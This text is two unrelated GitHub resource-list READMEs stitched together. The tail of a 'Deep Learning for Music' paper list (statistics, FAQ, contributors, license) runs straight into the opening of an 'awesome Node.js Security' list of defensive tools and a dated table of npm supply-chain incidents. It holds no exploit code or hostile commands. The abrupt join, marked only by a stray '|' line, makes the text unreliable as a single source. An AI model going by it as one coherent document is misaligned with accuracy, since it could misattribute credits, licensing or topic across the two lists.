- [Pitch Estimation of Choir Music using Deep Learning Strategies: from Solo to Unison Recordings](https://github.com/helenacuesta/choir-pitch-estimation)
- [Music Genre Classification with LSTMs](https://github.com/ruohoruotsi/LSTM-Music-Genre-Classification)
- [CNN based Music Emotion Classification using TensorFlow](https://github.com/rickiepark/cnn_mer)
- [Separating singing voice from music based on deep neural networks in Tensorflow](https://github.com/andabi/music-source-separation)
- [Music tag classification model using CRNN](https://github.com/kristijanbartol/Deep-Music-Tagger)
- [Finding the genre of a song with Deep Learning](https://github.com/despoisj/DeepAudioClassification)
- [Composing music using neural nets](https://github.com/fephsun/neuralnetmusic)
- [Performance-RNN-PyTorch](https://github.com/djosix/Performance-RNN-PyTorch)
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Statistics and visualisations
- 165 papers referenced. See the details in [dl4m.bib](dl4m.bib).
There are more papers from 2017 than any other years combined.
Number of articles per year:
- If you are applying DL to music, there are [356 other researchers](authors.md) in your field.
- 34 tasks investigated. See the list of [tasks](tasks.md).
Tasks pie chart:
- 53 datasets used. See the list of [datasets](datasets.md).
Datasets pie chart:
- 30 architectures used. See the list of [architectures](architectures.md).
Architectures pie chart:
- 9 frameworks used. See the list of [frameworks](frameworks.md).
Frameworks pie chart:
- Only 45 articles (27%) provide their source code.
Repeatability is the key to good science, so check out the [list of useful resources on reproducibility for MIR and ML](reproducibility.md).
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Advices for reviewers of dl4m articles
Please refer to the [advice_review.md](advice_review.md) file.
## How To Contribute
Contributions are welcome!
Please refer to the [CONTRIBUTING.md](CONTRIBUTING.md) file.
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## FAQ
> How are the articles sorted?
The articles are first sorted by decreasing year (to keep up with the latest news) and then alphabetically by the main author's family name.
> Why are preprint from arXiv included in the list?
I want to have exhaustive research and the latest news on DL4M. However, one should take care of the information provided in the articles currently in review. If possible you should wait for the final accepted and peer-reviewed version before citing an arXiv paper. I regularly update the arXiv links to the corresponding published papers when available.
> How much can I trust the results published in an article?
The list provided here does not guarantee the quality of the articles. You should either try to reproduce the experiments described or submit a request to [ReScience](https://github.com/ReScience/ReScience). Use one article's conclusion at your own risks.
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Acronyms used
A list of useful acronyms used in deep learning and music is stored in [acronyms.md](acronyms.md).
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Sources
The list of conferences, journals and aggregators used to gather the proposed materials is stored in [sources.md](sources.md).
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Contributors
- [Yann Bayle](http://yannbayle.fr/english/index.php) ([GitHub](https://github.com/ybayle)) - Instigator and principal maintainer
- Vincent Lostanlen ([GitHub](https://github.com/lostanlen))
- [Keunwoo Choi](https://keunwoochoi.wordpress.com/) ([GitHub](https://github.com/keunwoochoi))
- [Bob L. Sturm](http://www.eecs.qmul.ac.uk/~sturm/) ([GitHub](https://github.com/boblsturm))
- [Stefan Balke](https://www.audiolabs-erlangen.de/fau/assistant/balke) ([GitHub](https://github.com/stefan-balke))
- [Jordi Pons](http://www.jordipons.me/) ([GitHub](https://github.com/jordipons))
- Mirza Zulfan ([GitHub](https://github.com/mirzazulfan)) for the logo
- [Devin Walters](https://github.com/devn)
- https://github.com/LegendJ
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Other useful related lists and resources
#### Audio
- [DL4MIR tutorial with keras](https://github.com/tuwien-musicir/DL_MIR_Tutorial) - Tutorial for Deep Learning on Music Information Retrieval by [Thomas Lidy](http://ifs.tuwien.ac.at/~lidy/)
- [Video talk from Ron Weiss](https://www.youtube.com/watch?v=sI_8EA0_ha8) - Ron Weiss (Google) Talk on Training neural network acoustic models on waveforms
- [Slides on DL4M](http://www.jordipons.me/media/DL4Music_Pons.pdf) - A personal (re)view of the state-of-the-art by [Jordi Pons](http://www.jordipons.me/)
- [DL4MIR tutorial](https://github.com/marl/dl4mir-tutorial) - Python tutorials for learning to solve MIR tasks with DL
- [Awesome Python Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio) - Python resources for Audio and Machine Learning
- [ISMIR resources](http://ismir.net/resources.php) - Community maintained list
- [ISMIR Google group](https://groups.google.com/a/ismir.net/forum/#!forum/community) - Daily dose of general MIR
- [Awesome Python](https://github.com/vinta/awesome-python#audio) - Audio section of Python resources
- [Awesome Web Audio](https://github.com/notthetup/awesome-webaudio) - WebAudio packages and resources
- [Awesome Music](https://github.com/ciconia/awesome-music) - Music softwares
- [Awesome Music Production](https://github.com/adius/awesome-music-production) - Music creation
- [The Asimov Institute](http://www.asimovinstitute.org/analyzing-deep-learning-tools-music/) - 6 deep learning tools for music generation
- [DLM Google group](https://groups.google.com/forum/#!forum/icdlm) - Deep Learning in Music group
- [MIR community on Slack](https://slackpass.io/mircommunity) - Link to subscribe to the MIR community's Slack
- [Unclassified list of MIR-related links](http://www.music.mcgill.ca/~cmckay/links_academic.html) - [Cory McKay](http://www.music.mcgill.ca/~cmckay/)'s list of various links on DL, MIR, ...
- [MIRDL](http://jordipons.me/wiki/index.php/MIRDL) - Unmaintained list of DL articles for MIR from [Jordi Pons](http://www.jordipons.me/)
- [WWW 2018 Challenge](https://www.crowdai.org/challenges/www-2018-challenge-learning-to-recognize-musical-genre) - Learning to Recognize Musical Genre on the [FMA](https://github.com/mdeff/fma) dataset
- [Music generation with DL](https://github.com/umbrellabeach/music-generation-with-DL) - List of resources on music generation with deep learning
- [Auditory Scene Analysis](https://mitpress.mit.edu/books/auditory-scene-analysis) - Book about the perceptual organization of sound by [Albert Bregman](https://en.wikipedia.org/wiki/Albert_Bregman), the "father of [Auditory Scene Analysis](https://en.wikipedia.org/wiki/Auditory_scene_analysis)".
- [Demonstrations of Auditory Scene Analysis](http://webpages.mcgill.ca/staff/Group2/abregm1/web/downloadstoc.htm) - Audio demonstrations, which illustrate examples of auditory perceptual organization.
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
#### Music datasets
- [AudioContentAnalysis nearly exhaustive list of music-related datasets](http://www.audiocontentanalysis.org/data-sets/)
- [Teaching MIR](https://teachingmir.wikispaces.com/Datasets)
- [Wikipedia's list of datasets for machine learning research](https://en.wikipedia.org/wiki/List_of_datasets_for_machine_learning_research#cite_ref-215)
- [Datasets for deep learning](http://deeplearning.net/datasets/)
- [Awesome public datasets](https://github.com/caesar0301/awesome-public-datasets)
- [Awesome music listening](https://github.com/ybayle/awesome-music-listening)
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
#### Deep learning
- [DLPaper2Code: Auto-generation of Code from Deep Learning Research Papers](https://arxiv.org/abs/1711.03543) -
- [Model Convertors](https://github.com/ysh329/deep-learning-model-convertor) - Convertors for DL frameworks and backend
- [Deep architecture genealogy](https://github.com/hunkim/deep_architecture_genealogy) - Genealogy of DL architectures
- [Deep Learning as an Engineer](http://www.univie.ac.at/nuhag-php/dateien/talks/3358_schlueter.pdf) - Slides from Jan Schlüter
- [Awesome Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) - General deep learning resources
- [Awesome Deep Learning Resources](https://github.com/endymecy/awesome-deeplearning-resources) - Papers regarding deep learning and deep reinforcement learning
- [Awesome RNNs](https://github.com/kjw0612/awesome-rnn) - RNNs code, theory and applications
- [Cheatsheets AI](https://github.com/kailashahirwar/cheatsheets-ai) - Cheat Sheets for Keras, neural networks, scikit-learn,...
- [DL PaperNotes](https://github.com/dennybritz/deeplearning-papernotes) - Summaries and notes on general deep learning research papers
- General [](https://github.com/sindresorhus/awesome) lists
- [Echo State Network](http://minds.jacobs-university.de/sites/default/files/uploads/papers/PracticalESN.pdf)
- [DL in NLP](http://ruder.io/deep-learning-nlp-best-practices/index.html#introduction) - Best practices for using neural networks by [Sebastian Ruder](http://ruder.io/)
- [CNN overview](http://cs231n.github.io/convolutional-networks/) - Stanford Course
- [Dilated Recurrent Neural Networks](https://arxiv.org/pdf/1710.02224.pdf) - How to improve RNNs?
- [Encoder-Decoder in RNNs](https://machinelearningmastery.com/how-does-attention-work-in-encoder-decoder-recurrent-neural-networks/?utm_content=buffer0d2a7&utm_medium=social&utm_source=twitter.com&utm_campaign=bufferhttps://blog.recast.ai/ml-spotlight-rnn/?utm_content=bufferf19d3&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer) - How Does Attention Work in Encoder-Decoder Recurrent Neural Networks
- [On the use of DL](https://twitter.com/randal_olson/status/927157485240311808/photo/1) - Misc fun around DL
- [ML from scratch](https://github.com/eriklindernoren/ML-From-Scratch) - Python implementations of ML models and algorithms from scratch from Data Mining to DL
- [Comparison of DL frameworks](https://project.inria.fr/deeplearning/files/2016/05/DLFrameworks.pdf) - Presentation describing the different existing frameworks for DL
- [ELU > ReLU](https://arxiv.org/pdf/1511.07289.pdf) - Article describing the differences between ELU and ReLU
- [Reinforcement Learning: An Introduction](http://incompleteideas.net/sutton/book/bookdraft2017nov5.pdf) - Book about reinforcement learning
- [Estimating Optimal Learning Rate](https://towardsdatascience.com/estimating-optimal-learning-rate-for-a-deep-neural-network-ce32f2556ce0) - Blog post on the learning rate optimisation
- [GitHub repo for sklearn add-on for imbalanced learning](https://github.com/scikit-learn-contrib/imbalanced-learn) - ML in uneven datasets
- [Video on DL from Nando de Freitas, Scott Reed and Oriol Vinyals](https://www.youtube.com/watch?v=YJnddoa8sHk) - Deep Learning: Practice and Trends (NIPS 2017 Tutorial, parts I & II)
- [Article "Are GANs Created Equal? A Large-Scale Study"](https://arxiv.org/abs/1711.10337) - Actually comparing DL algorithms
- [Battle of the Deep Learning frameworks](https://towardsdatascience.com/battle-of-the-deep-learning-frameworks-part-i-cff0e3841750) - DL frameworks comparison and evolution
- [Black-box optimization](http://timvieira.github.io/blog/post/2018/03/16/black-box-optimization/) - There are other optimization algorithms than just gradient descent
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## Cited by
If you use the information contained in this repository, please let us know! This repository is cited by:
- [Alexander Schindler](https://twitter.com/Slychief/status/915218386421997568)
- [Meinard Müller, Christof Weiss, Stefan Balke](https://www.audiolabs-erlangen.de/resources/MIR/2017-GI-Tutorial-Musik/2017_MuellerWeissBalke_GI_DeepLearningMIR.pdf)
- [WWW 2018 Challenge: Learning to Recognize Musical Genre](https://www.crowdai.org/challenges/www-2018-challenge-learning-to-recognize-musical-genre)
- [Awesome Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning)
- [AINewsFeed](https://twitter.com/AINewsFeed/status/897832912351105025)
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
## License
You are free to copy, modify, and distribute ***Deep Learning for Music (DL4M)*** with attribution under the terms of the MIT license. See the LICENSE file for details.
This project use another projects and you may refer to them for appropriate license information :
- [Readme checklist](https://github.com/ddbeck/readme-checklist) - To build an universal Readme.
- [Pylint](https://www.pylint.org/) - To clean the python code.
- [Numpy](http://www.numpy.org/) - To manage python structure.
- [Matplotlib](https://matplotlib.org/) - To plot nice figures.
- [Bibtexparser](https://github.com/sciunto-org/python-bibtexparser) - To deal with the bib entries.
[Go back to top](https://github.com/ybayle/awesome-deep-learning-music#deep-learning-for-music-dl4m-)
|
<br/>
<div align="center">
A curated list of awesome Node.js Security resources.
[](https://twitter.com/liran_tal)
*List inspired by the [awesome](https://github.com/sindresorhus/awesome) list thing.*
</div>
<br/>
# Contents
- [Tools](#projects)
- [Web Framework Hardening](#web-framework-hardening)
- [Static Code Analysis](#static-code-analysis)
- [Dynamic Application Security Testing](#dynamic-application-security-testing)
- [Input/Output Validation](#input-validation--output-encoding)
- [Secure Composition](#secure-composition)
- [CSRF](#csrf)
- [Vulnerabilities and Security Advisories](#vulnerabilities-and-security-advisories)
- [Security Hardening](#security-hardening)
- [Security Incidents](#security-incidents)
- [Educational](#educational)
- [Hacking Playground](#hacking-playground)
- [Articles](#articles)
- [Research Papers](#research-papers)
- [Books](#books)
- [Roadmaps](#roadmap)
- [Companies](#companies)
# Tools
## Web Framework Hardening
- [Helmet](https://www.npmjs.com/package/helmet) - Helmet helps you secure your Express apps by setting various HTTP headers.
- [koa-helmet](https://www.npmjs.com/package/koa-helmet) - koa-helmet helps you secure your Koa apps by setting various HTTP headers.
- [blankie](https://github.com/nlf/blankie) - CSP plugin for [hapi](https://github.com/hapijs/hapi).
- [fastify-helmet](https://github.com/fastify/fastify-helmet) - fastify-helmet helps you secure your [fastify](https://www.fastify.io/) apps by setting important secutiry headers.
- [nuxt-security](https://github.com/Baroshem/nuxt-security) - 🛡 Security Module for Nuxt based on OWASP Top 10 and Helmet.
## Static Code Analysis
- [eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) - ESLint rules for Node Security. This project will help identify potential security hotspots, but finds a lot of false positives which need triage by a human.
- [tslint-plugin-security](https://www.npmjs.com/package/tslint-config-security) - TSLint rules for Node Security. This project will help identify potential security hotspots, but finds a lot of false positives which need triage by a human.
- [safe-regex](https://www.npmjs.com/package/safe-regex) - detect potentially catastrophic exponential-time regular expressions by limiting the star height to 1.
- [vuln-regex-detector](https://www.npmjs.com/package/vuln-regex-detector) - This module lets you check a regex for vulnerability. In JavaScript, regular expressions (regexes) can be "vulnerable": susceptible to catastrophic backtracking. If your application is used on the client side, this can be a performance issue. On the server side, this can expose you to Regular Expression Denial of Service (REDOS).
- [git-secrets](https://github.com/awslabs/git-secrets) - Prevents you from committing secrets and credentials into git repositories.
- [DevSkim](https://github.com/Microsoft/DevSkim) - DevSkim is a set of IDE plugins and rules that provide security "linting" capabilities. Also has support for CLI so it can be integrated into CI/CD pipeline.
- [ban-sensitive-files](https://github.com/bahmutov/ban-sensitive-files) - Checks filenames to be committed against a library of filename rules to prevent storing sensitive files in Git. Checks some files for sensitive contents (for example authToken inside .npmrc file).
- [NodeJSScan](https://github.com/ajinabraham/nodejsscan) - A static security code scanner for Node.js applications. Including neat UI that can point where the issue is and how to fix it.
- [Nsecure](https://github.com/ES-Community/nsecure) - Node.js CLI that allow you to deeply analyze the dependency tree of a given npm package or a directory.
- [Trust But Verify](https://github.com/verifynpm/tbv) - TBV compares an npm package with its source repository to ensure the resulting artifact is the same.
- [lockfile-lint](https://github.com/lirantal/lockfile-lint) - lint lockfiles for improved security and trust policies to keep clean from malicious package injection and other insecure configurations.
- [pkgsign](https://github.com/RedpointGames/pkgsign) - A CLI tool for signing and verifying npm and yarn packages.
- [semgrep](https://semgrep.dev) - Open-source, offline, easy-to-customize static analysis for many languages. Some others on this list (NodeJSScan) use semgrep as their engine.
- [npm-scan](https://github.com/spaceraccoon/npm-scan) - An extensible, heuristic-based vulnerability scanning tool for installed npm packages.
- [js-x-ray](https://github.com/fraxken/js-x-ray) - JavaScript and Node.js SAST scanner capable of detecting various well-known malicious code patterns (Unsafe import, Unsafe stmt, Unsafe RegEx, encoded literals, minified and obfuscated codes).
- [cspscanner](https://cspscanner.com/) - CSP Scanner helps developers and security experts to easily inspect and evaluate a site’s Content Security (CSP).
- [eslint-plugin-anti-trojan-source](https://github.com/lirantal/eslint-plugin-anti-trojan-source) - ESLint plugin to detect and prevent Trojan Source attacks from entering your codebase.
- [sdc-check](https://github.com/mbalabash/sdc-check) - Small tool to inform you about potential risks in your project dependencies list
- [fix-lockfile-integrity](https://github.com/yoavain/fix-lockfile-integrity) - A CLI tool to fix weak integrity hash (sha1) to a more secure integrity hash (sha512) in your npm lockfile.
- [Bearer](https://github.com/Bearer/bearer) - A CLI tool to find and help you fix security and privacy risks in your code according to OWASP Top 10.
## Dynamic Application Security Testing
- [PurpleTeam](https://purpleteam-labs.com) - A security regression testing SaaS and CLI, perfect for inserting into your build pipelines. You don’t need to write any tests yourself. purpleteam is smart enough to know how to test, you just need to provide a Job file which tells purpleteam what you want tested.
## Input Validation & Output Encoding
- [node-esapi](https://www.npmjs.com/package/node-esapi) - node-esapi is a minimal port of the ESAPI4JS (Enterprise Security API for JavaScript) encoder.
- [escape-html](https://www.npmjs.com/package/escape-html) - Escape string for use in HTML.
- [js-string-escape](https://www.npmjs.com/package/js-string-escape) - Escape any string to be a valid JavaScript string literal between double quotes or single quotes.
- [validator](https://github.com/chriso/validator.js) - An npm library of string validators and sanitizers.
- [xss-filters](https://www.npmjs.com/package/xss-filters) - Just sufficient output filtering to prevent XSS!
- [DOMPurify](https://github.com/cure53/DOMPurify) - a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG.
- [envalid](https://github.com/af/envalid) - Envalid is a small library for validating and accessing environment variables in Node.js.
## Secure Composition
- [pug-plugin-trusted-types](https://www.npmjs.com/package/pug-plugin-trusted-types) - Pug template plugin makes it easy to securely compose HTML from untrusted inputs and provides CSP & CSRF [automagic](https://www.npmjs.com/package/pug-plugin-trusted-types#hdr-automagic).
- [safesql](https://www.npmjs.com/package/safesql) - A tagged template (<code>mysql\`...\`</code>) that understands [Postgres](https://www.npmjs.com/package/safesql#pg)'s & [MySQL](https://www.npmjs.com/package/safesql#mysql)'s query grammar to prevent [SQL injection](https://www.oreilly.com/library/view/securing-node-applications/9781491982426/ch01.html#idm140399946848800).
- [sh-template-tag](https://www.npmjs.com/package/sh-template-tag) - A tagged template (<code>sh\`...\`</code>) that understands Bash syntax so prevents [shell injection](https://www.oreilly.com/library/view/securing-node-applications/9781491982426/ch01.html#idm140399951358480).
## CSRF
- [csurf](https://www.npmjs.com/package/csurf) - Node.js CSRF protection middleware.
- [crumb](https://github.com/hapijs/crumb) - CSRF crumb generation and validation for [hapi](https://github.com/hapijs/hapi).
- [fastify-csrf](https://github.com/fastify/fastify-csrf) - A plugin for adding CSRF protection to [fastify](https://www.fastify.io).
## Vulnerabilities and Security Advisories
- [npq](https://github.com/lirantal/npq) - Safely install packages with npm or yarn by auditing them as part of your install process.
- [snyk](https://www.npmjs.com/package/snyk) - Snyk helps you find, fix and monitor known vulnerabilities in Node.js npm, Ruby and Java dependencies, both on an ad hoc basis and as part of your CI (Build) system.
- [node-release-lines](https://www.npmjs.com/package/node-release-lines) - Introspection API for Node.js release metadata. Provides information about release lines, their relative status along with details of each release.
- [auditjs](https://github.com/OSSIndex/auditjs) - Audits an NPM package.json file to identify known vulnerabilities using the [OSSIndex](https://ossindex.sonatype.org/rest).
- [npm-audit](https://docs.npmjs.com/cli/audit) - Runs a security audit based on your package.json using npm.
- [npm-audit-resolver](https://www.npmjs.com/package/npm-audit-resolver) - Manage npm-audit results, including options to ignore specific issues in clear and auditable way.
- [gammaray](https://github.com/nearform/gammaray) - Runs a security audit based on your package.json using the [Node.js Security Working Group vulnerability data](https://github.com/nodejs/security-wg/).
- [patch-package](https://www.npmjs.com/package/patch-package) - Allows app authors to create fixes for npm dependencies (in node_modules) without forking or waiting for merged PRs, by creating and applying patches.
- [check-my-headers](https://github.com/UlisesGascon/check-my-headers) - Fast and simple way to check any HTTP Headers.
- [is-website-vulnerable](https://github.com/lirantal/is-website-vulnerable/) - finds publicly known security vulnerabilities in a website's frontend JavaScript libraries.
- [joi-security](https://github.com/Saluki/joi-security/) - Detect security flaws in Joi validation schemas.
- [confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems. See [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) for reference on the reasoning for this tool.
## Security Hardening
- [hijagger](https://github.com/firefart/hijagger) - Checks all maintainers of all npm and PyPI packages for hijackable packages through domain re-registration.
- [snync](https://github.com/snyk-labs/snync) - Mitigate security concerns of Dependency Confusion supply chain security risks.
- [NopPP - No Prototype Pollution](https://github.com/snyk-labs/nopp) - Tiny helper to protect against Prototype Pollution vulnerabilities in your application regardless if they introduced in your own code or in 3rd-party code.
- [anti-trojan-source](https://github.com/lirantal/anti-trojan-source) - Detect trojan source attacks that employ unicode bidi attacks to inject malicious code.
- [express-limiter](https://www.npmjs.com/package/express-limiter) - Rate limiting middleware for Express applications built on redis.
- [limits](https://www.npmjs.com/package/limits) - Simple express/connect middleware to set limit to upload size, set request timeout etc.
- [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) - Fast, flexible and friendly rate limiter by key and protection from DDoS and brute force attacks in process Memory, Cluster, Redis, MongoDb, MySQL, PostgreSQL at any scale. Express and Koa examples included.
- [tor-detect-middleware](https://github.com/UlisesGascon/tor-detect-middleware) Tor detect middleware for express
- [express-enforces-ssl](https://github.com/hengkiardo/express-enforces-ssl) Enforces SSL for Express based Node.js projects. It is however highly advised that you handle SSL and global HTTP rules in a front proxy.
- [bourne](https://github.com/hapijs/bourne) `JSON.parse()` drop-in replacement with prototype poisoning protection.
- [fastify-rate-limit](https://github.com/fastify/fastify-rate-limit) A low overhead rate limiter for your routes.
- [secure-json-parse](https://github.com/fastify/secure-json-parse) `JSON.parse()` drop-in replacement with prototype poisoning protection.
- [express-brute](https://github.com/AdamPflug/express-brute) A brute-force protection middleware for express routes that rate-limits incoming requests, increasing the delay with each request in a fibonacci-like sequence.
- [allowed-scripts](https://github.com/dominykas/allow-scripts) Execute allowed `npm install` lifecycle scripts.
# Security Incidents
## Protestware supply chain security issues
The following is a list of known protestware spanning across other ecosystems too:
- [PyPI package author of atomicwrites deletes his own code](https://www.bleepingcomputer.com/news/security/pypi-mandates-2fa-for-critical-projects-developer-pushes-back/)
- [left-pad](https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code/)
- `event-source-polyfill`, Mariusz Nowak and their `es5-ext`, Evan Jacobs and their `styled-components`, [node-ipc](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/), `peacenotwar`, [nestjs-pino](https://socket.dev/npm/package/nestjs-pino/files/3.1.1/postinstall.js) - all with regards to the Russian-Ukraine crisis.
- The [Open Souce Peace](https://github.com/open-source-peace/protestware-list) organization maintains a list of identified protestware incidents.
Articles covering the topics around protestware are:
- [2022's Techcrunch protestware review](https://techcrunch.com/2022/07/27/protestware-code-sabotage/)
- [2022's Snyk protestware types](https://snyk.io/blog/protestware-open-source-types-impact/)
## npm and JavsScript specific security incidents and supply chain security issues
Collection of security incidents that happened in the Node.js, JavaScript and npm related communities with supporting articles:
| Date | Name | Reference Links |
|-------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 2023 Jun 27 | Manifest Confusion - a new publicly disclosed bug with the npm package manager demonstrating package metadata inconsistency | [Darcy Clarke's blog](https://blog.vlt.sh/blog/the-massive-hole-in-the-npm-ecosystem)
| 2023 Jun 23 | North Korean attackers exploit social engineering and supply chain attacks on npm | [Phylum](https://blog.phylum.io/junes-sophisticated-npm-attack-attributed-to-north-korea/)
| 2023 Jun 15 | Supply Chain Attack Exploits Abandoned S3 Buckets to Distribute Malicious Binaries for [bignum npm package](https://www.npmjs.com/package/bignum?activeTab=versions) | [The Hacker News](https://thehackernews.com/2023/06/new-supply-chain-attack-exploits.html), [Checkmarx](https://checkmarx.com/blog/hijacking-s3-buckets-new-attack-technique-exploited-in-the-wild-by-supply-chain-attackers/)
| 2023 Jun 06 | Recommended packages by ChatGPT may be exploited for supply chain security attack vector| [Vulcan](https://vulcan.io/blog/ai-hallucinations-package-risk)
| 2023 Feb 16 | Researchers Hijack Popular NPM Package with Millions of Downloads | [Illustria on The Hacker News](https://thehackernews.com/2023/02/researchers-hijack-popular-npm-package.html)
| 2023 Feb 10 | Researchers Uncover Obfuscated Malicious Code in PyPI Python Packages, affiliated npm ecosystem evidence too | [The Hacker News](https://thehackernews.com/2023/02/researchers-uncover-obfuscated.html)
| 2023 Jan 29 | Phylum Identifies 137 Malicious npm Packages | [phylum](https://blog.phylum.io/phylum-identifies-98-malicious-npm-packages)
| 2022 Nov 29 | Invisible npm malware may hide in crafted versions and bypass npm audit's security checks | [JFrog](https://jfrog.com/blog/invisible-npm-malware-evading-security-checks-with-crafted-versions/)
| 2022 Nov 24 | Phylum team captures captures malicious npm package imagecompress-mini claims to be an image compress tool | [Louisw Lang on Twitter](https://twitter.com/LouiswLang/status/1595835195382534144)
| 2022 Oct 12 | Aqua security discovers flaw in npm that allows disclosing of privately hosted npm packages on the registry | [Aqua](https://blog.aquasec.com/private-packages-disclosed-via-timing-attack-on-npm)
| 2022 Oct 07 | LofyGang Distributed ~200 Malicious NPM Packages to Steal Credit Card Data | [TheHackerNews](https://thehackernews.com/2022/10/lofygang-distributed-200-malicious-npm.html)
| 2022 Sep 23 | Popular Cryptocurrency Exchange dYdX Has Had Its NPM Account Hacked | [Mend](https://www.mend.io/resources/blog/popular-cryptocurrency-exchange-dydx-has-had-its-npm-account-hacked/)
| 2022 Jul 29 | malicious packages `small-sm`, `pern-valids`, `lifeculer`, and `proc-title` target stealing credit card information and discord tokens | [darkreading](https://www.darkreading.com/risk/malicious-npm-packages-discord-tokens-credit-card)
| 2022 May 26 | stolen oAuth GitHub tokens lead to npm security breach, compromised user accounts metadata, private packages, and plain-text passwords in logs | [GitHub](https://github.blog/2022-05-26-npm-security-update-oauth-tokens/)
| 2022 May 24 | malicious npm packages exploiting dependency confusion attacks | [Snyk](https://snyk.io/blog/snyk-200-malicious-npm-packages-cobalt-strike-dependency-confusion-attacks/), [Snyk](https://snyk.io/blog/npm-dependency-confusion-attack-gxm-reference/)
| 2022 May 23 | npm packages hijacked due to expired domains | [TheRegister](https://www.theregister.com/2022/05/23/npm_dependencies_vulnerable/)
| 2022 April 05 | New npm Flaws Let Attackers Better Target Packages for Account Takeover | [Aqua](https://blog.aquasec.com/npm-supply-chain-attack)
| 2022 April 26 | npm package planting | [Aqua](https://blog.aquasec.com/npm-package-planting), [The Hacker News](https://thehackernews.com/2022/04/npm-bug-allowed-attackers-to-distribute.html)
| 2022 March 31 | More protestware from `styled-components` | [Checkmarx Security blog](https://checkmarx.com/blog/new-protestware-found-lurking-in-highly-popular-npm-package/)
| 2022 March 18 | More protestware from `es5-ext` and `event-source-pollyfill` | [Snyk advisory for event-source-pollyfill](https://security.snyk.io/vuln/SNYK-JS-EVENTSOURCEPOLYFILL-2429580), [es5-ext commit](https://github.com/medikoo/es5-ext/commit/28de285ed433b45113f01e4ce7c74e9a356b2af2), [ArsTechnica](https://arstechnica.com/information-technology/2022/03/sabotage-code-added-to-popular-npm-package-wiped-files-in-russia-and-belarus/) |
| 2022 March 16 | `peacenotwar` module sabotages npm developers in the `node-ipc` package to protest the invasion of Ukraine | [Snyk blog](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability), [Darkreading](https://www.darkreading.com/application-security/recent-code-sabotage-incident-latest-to-highlight-code-dependency-risks), [SC Magazine](https://www.scmagazine.com/analysis/application-security/what-happens-when-protestware-sabotages-open-source-in-response-to-current-events) |
| 2022 March 7 | Malicious packages caught exfiltrating data via legit webhook services | [Checkmarx Security blog](https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191) |
| 2022 February 22 | 25 Malicious JavaScript Libraries due to typosquatting attacks | [TheHackerNews](https://thehackernews.com/2022/02/25-malicious-javascript-libraries.html) |
| 2022 February 11 | 2,818 npm accounts use email addresses with expired domains | [TheRecord](https://therecord.media/thousands-of-npm-accounts-use-email-addresses-with-expired-domains) |
| 2021 December 08 | 17 JavaScript libraries contained malicious code to collect and steal Discord access tokens and environment variables from users’ computers - | [TheRecord](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables/) |
| 2021 November 04 | coa and rc packages - Popular npm library 'coa' was hijacked today with malicious code injected into it, ephemerally impacting React pipelines around the world | [Bleepingcomputer](https://www.bleepingcomputer.com/news/security/popular-coa-npm-library-hijacked-to-steal-user-passwords), [the record](https://therecord.media/malware-found-in-coa-and-rc-two-npm-packages-with-23m-weekly-downloads/), [npm tweet](https://twitter.com/npmjs/status/1456310627362742284), [npm tweet for rc](https://twitter.com/npmjs/status/1456398505832976384). |
| 2021 October 27 | noblox.js-proxy and noblox.js - typosquatted npm package that target users of official roblox API and SDK npm package (noblox.js) | [the register](https://www.theregister.com/2021/10/27/npm_roblox_ransomware) |
| 2021 October 22 | ua-parser-js - Versions of a popular NPM package named ua-parser-js was found to contain malicious code | [Cybersecurity and Infrastructure Security Agency (CISA)](https://us-cert.cisa.gov/ncas/current-activity/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js), [github issue](https://github.com/faisalman/ua-parser-js/issues/536), [IOCs](https://twitter.com/BleepinComputer/status/1451964720974635021?s=20), [portswigger](https://portswigger.net/daily-swig/popular-npm-package-ua-parser-js-poisoned-with-cryptomining-password-stealing-malware), [theregister](https://www.theregister.com/2021/10/27/npm_roblox_ransomware) |
| 2021 September 02 | pac-resolver - can enable threat actors on the local network to run arbitrary code within your Node.js process whenever it attempts to make an HTTP request | [arstechnica.com](https://arstechnica.com/information-technology/2021/09/npm-package-with-3-million-weekly-downloads-had-a-severe-vulnerability/) |
| 2021 August 07 | npm package ownership process firing back and exposing potential vectors for supply chain security risks. | [Twitter](https://twitter.com/Andrewmd5/status/1423915732979437571) |
